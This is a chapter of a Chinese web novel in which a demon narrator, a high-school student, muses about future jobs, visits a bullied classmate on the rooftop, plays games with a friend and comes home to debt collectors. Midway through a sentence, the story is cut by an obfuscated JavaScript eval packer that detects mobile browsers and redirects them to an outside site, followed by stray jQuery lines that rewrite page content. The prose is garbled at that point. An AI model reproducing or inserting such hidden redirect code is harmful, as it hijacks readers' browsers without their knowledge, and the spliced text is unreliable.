但工作像狗皮膏药紧紧粘着我不放,就像口香糖粘着鞋底,工作阴魂不散地粘上了即将毕业的我。
第二天上学的时候,我那群转性的朋友开始讨论以后要做什么、要找什么工作。
“我要当工程师,坐在办公室里享受空调。”
潘小谷扶了下眼镜,语调压制不住兴奋,眼睛发亮:“我妈说工程师可以赚大钱,不怕在工地里晒太阳,每天都可以吹空调,平均年薪五十万。”
苏音仪挠挠头,道:“可是我听说工程师很容易被拖欠工资诶。”
她的眼睛咕噜噜转了一圈,像只偷油的老鼠说:“现在兴的是科技,不如去学代码,当个码农工资也很高,而且以后都要靠代码,不如跟随时代潮流。”
卫菱也加入其中:“我觉得医生不错,老师和医生都是铁饭碗,而且我想学医,拯救生命的感觉肯定很不错。”
她们左一句右一句,描绘出未来蓝图,在教室里畅想未来工作,成为领薪水的大人后真正地享受人生,我夹在中间想什么时候能下课,快点去吃饭。
“小冬,你以后想做什么?”卫菱喊我的名字,脸颊上残留着兴奋的红。
我把当家里蹲的想法托出,她们露出果然如此的表情,挨个摸我的头,但潘小谷说我还是应该找个工作,我问她为什么,她也说不出来,只说所有人都是这样,除了有钱人。
又是有钱人。
有钱人好像特别自由,想做什么就可以做什么。
我觉得我的梦想应该是当个有钱人,最好无痛无工作。
上课时,班主任依旧板着脸,让同学在打开投影,说要播放视频。
教室里的人抬起头,我也跟着撑着下巴。
视频开头是一段沸腾人心的音乐,紧接着是很多人激动地宣誓,各个学校的名字在屏幕上闪过,背景音乐动次打次,比雨点还急。
然后一张又一张陌生的脸出现了,班主任在旁边补充说是优秀的毕业生,在各个名校前面拍摄鼓励视频,看看他们现在开心的样子,我们应该更加努力才行。
“他们都是从江中出去的学生,考上重点大学每个人前途无限,你们也一样,不要妄自菲薄,最后这段时间很重要,也有不少人弯道超车,成为黑马。”
班主任指着屏幕上的学生,苦口婆心地说:“以后考上大学想做什么都可以,想去哪去哪,想怎么玩怎么玩,想谈恋爱就谈恋爱——”
她说话时,屏幕正好播放到下一个,大学名是串英文,哥特式建筑前面站着眉眼俊朗的男生,穿着黑色大衣,像个羽毛光亮的乌鸦,嘴角噙着一抹笑。
台下的同学们原本就躁动不安,见状起哄起来,惹得班主任回头看去。
屏幕里的人在讲我听不懂的鸟语,端着装逼的架子,同学们很吃这套,兴奋又激动。
“QS世界排名前十的大学,这位是学校的优秀毕业生,当年高考理科状元。”
我听见旁边有人鼓掌,不由盯着屏幕的人多看了两眼,摸摸下巴,想这人还挺符合我的审美。
我喜欢黑色,很顺眼。
“等高考宣誓大会,还有更多优秀人士来学校鼓励大家,看看他们,是不是也想努力一把,成为像他们一样的人?努力吧孩子们,把未来攥在手里。”
视频结束,班主任吆喝几声,教室才慢慢安静下来,同学们一个两个像打了鸡血,坐姿比以前提拔两度。
我不理解他们的激动,视频里的人又不是自己,为什么能兴奋成这样,不应该很气吗?
这大概就是恶魔和人类的区别吧。
中午,我像往常一样登上天台,麦景早早等在栏杆边,手里领着便当。
我再次谢绝便当,把班主任放视频的事情告诉他,他说他们班也放了。
“你有什么感觉吗?”
我问:“你想不想努力学习,然后考个好学校?”
“嗯……考个好学校然后找好工作。”
他穿着宽大的运动外套,今天没被打,颧骨上还乌着一块,说话时把下巴藏在衣领后,“对我来说,高考是唯一的出路。”
“找个好工作才能经济独立,靠自己活下去。”他的声音逐渐变小,转头看我,眼睛眯了下,垂下头。
我忘记他的成绩好还是不好,压根没注意过,但听起来像有指望的样子,不过像他这样总是被打的人,出去工作不会被打吗?
我心口不一地回复:“我觉得你说得对。”
管它是啥,说对就对了。
“那小冬呢?”
被问的次数太多,我也开始思考如果真的要工作,我应该做些什么来融入人类世界。
我盯着天上的云思考着。
麦景:“没想好也没关系,我们还有很多时间,高考也不是决定人生一辈子的事……至少不能决定你的。”
“小冬不想工作也没关系。”他说完,犹豫许久,试探着看进我的眼睛,悄无声息地靠近一点,声音发颤,“我、我可以养小冬。”
我哦了一声,掏走他口袋里的糖果,剥开堵住他的嘴,说:“以后的事以后再说吧,我们不是还有很多时间吗?”
麦景敛眸,垂着头不说话,手仍然拉着我。
我觉得他不懂说话的艺术,怪不得被人打,我讨厌养这个字,我也是个有尊严的恶魔,他只是我的食物而已,为了报复,我用手戳他脸颊上那块淤青,他眯起左眼,不明所以,但待在原地没动。
我又去碰他的眼睛,摸他薄薄的眼皮,手指下传来不安的动静,他含糊地喊我的名字。
“小冬?”
只要动动手指就能扣下他的眼睛。
但我没那么做,因为我是个懂法律的恶魔。
我哼哼两声,抬起握在一起的手狠狠咬了一口,他愣怔地看着我,不知道作何反应。
“喜欢你才咬你。”我张嘴乱说。
麦景摸着咬痕,像个白痴样笑了起来,笑完抿起唇,说了声对不起。
我不解地问:“为什么道歉?”
他说:“惹你不开心了。”
麦景是个奇怪的人,莫名地猜对了我的想法,和便宜哥哥一样奇怪。
在离开前,他把兜里所有东西掏给我,说会努力保存手背上的咬痕,在它消失之前一直心怀歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364177|183846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意,直到我离开天台,他还站在原地,和阴影融为一体。
如果这是游戏的话,那么麦景就是只会刷新在天台的npc,点一点会掉落物品。
我很快将他甩在脑后,继续思考工作的事。
在见到宗朔的第一面,我就问他觉得什么工作好。
他开机的手速慢了一步,嚼着口香糖,目光从略长的刘海下投来,问:“你决定弃明投暗了?还是脑袋发烧,烧糊涂了?”
我一脸正色:“我很正经地在问你。”
“行,那我也很正经地回答你。”宗朔往后仰,砸在椅背上,“吃软饭的工作最好。”
“吃软饭?”我摸着下巴思索,皱起眉,“你是说给有钱人当宠物吗?不要,我是个有尊严的恶……呃,人!”
吃软饭什么的是不可能的,这辈子都不可能吃软饭的!
“有人养哪里不好?”
宗朔语气平静地说:“你得到了钱,有钱人得到了情绪价值,是双赢。”
“家里蹲也比吃软饭好,而且这算是什么工作啊,我要的是说出去能好听的工作,最好有很多很多工资。”
宗朔:“家里蹲也是被人养啊。”
“那不一样。”
“哪里不一样?”
我反驳道:“家里蹲是让人上供。”
“那你就当吃软饭也是别人上供呗。”
宗朔盯着电脑屏幕,手指在键盘上敲击,懒散地打了个哈欠,“你又不想累,那就只有吃软饭了。”
我想要反驳,又觉得他说得有道理,但还是嘴硬:“算了,我还是家里蹲吧。”
我也跟着上号,正在匹配时,他冷不丁开口:“你从我这拿东西,算不算你在吃我的软饭?”
我大惊失色,“你怎么能这么想,绝对不是!这都是我凭本事拿到的!”
接着宗朔笑了,像上发条的玩偶,笑得停不下来。
我疑惑地看着他,心想这人可能打游戏输太多发疯了,等他停下来,看见我的表情,又噗呲笑出声。
我:“你到底在笑什么。”
他摇头不解释,只说:“想到了搞笑的事。”
他可能真疯了。
打完游戏,我拿到了保卡和表盒,又从宗朔兜里掏东西,执意再捞点东西作为精神补偿。
但只掏到了花里胡哨的卡片,还没看清上面的字,宗朔就抢了过去,让我少看大人的东西,我懒得给他好脸色,悄悄踩了他两脚。
告别时,宗朔疼得咬牙切齿。
回家的路上又漂起小雨,下班的上班族们无精打采,像被魅魔吸光了精气,于是我越想越觉得不能上班,哪有恶魔被工作吸食的道理。
还是当家里蹲吧。我想。
我淋着小雨,沿着路往公寓走,刚踏入楼梯时,忽然感受到熟悉的氛围。
墙壁红红的,原来是欠债还钱四个大字。
仔细一看,地上还有两个熟悉的大头照,我小心翼翼地往走廊看去,果不其然看到乌泱泱好多人站在门口,凶神恶煞,把卡通地毯被踩得脏兮兮。
我屏住呼吸,思考着该做什么。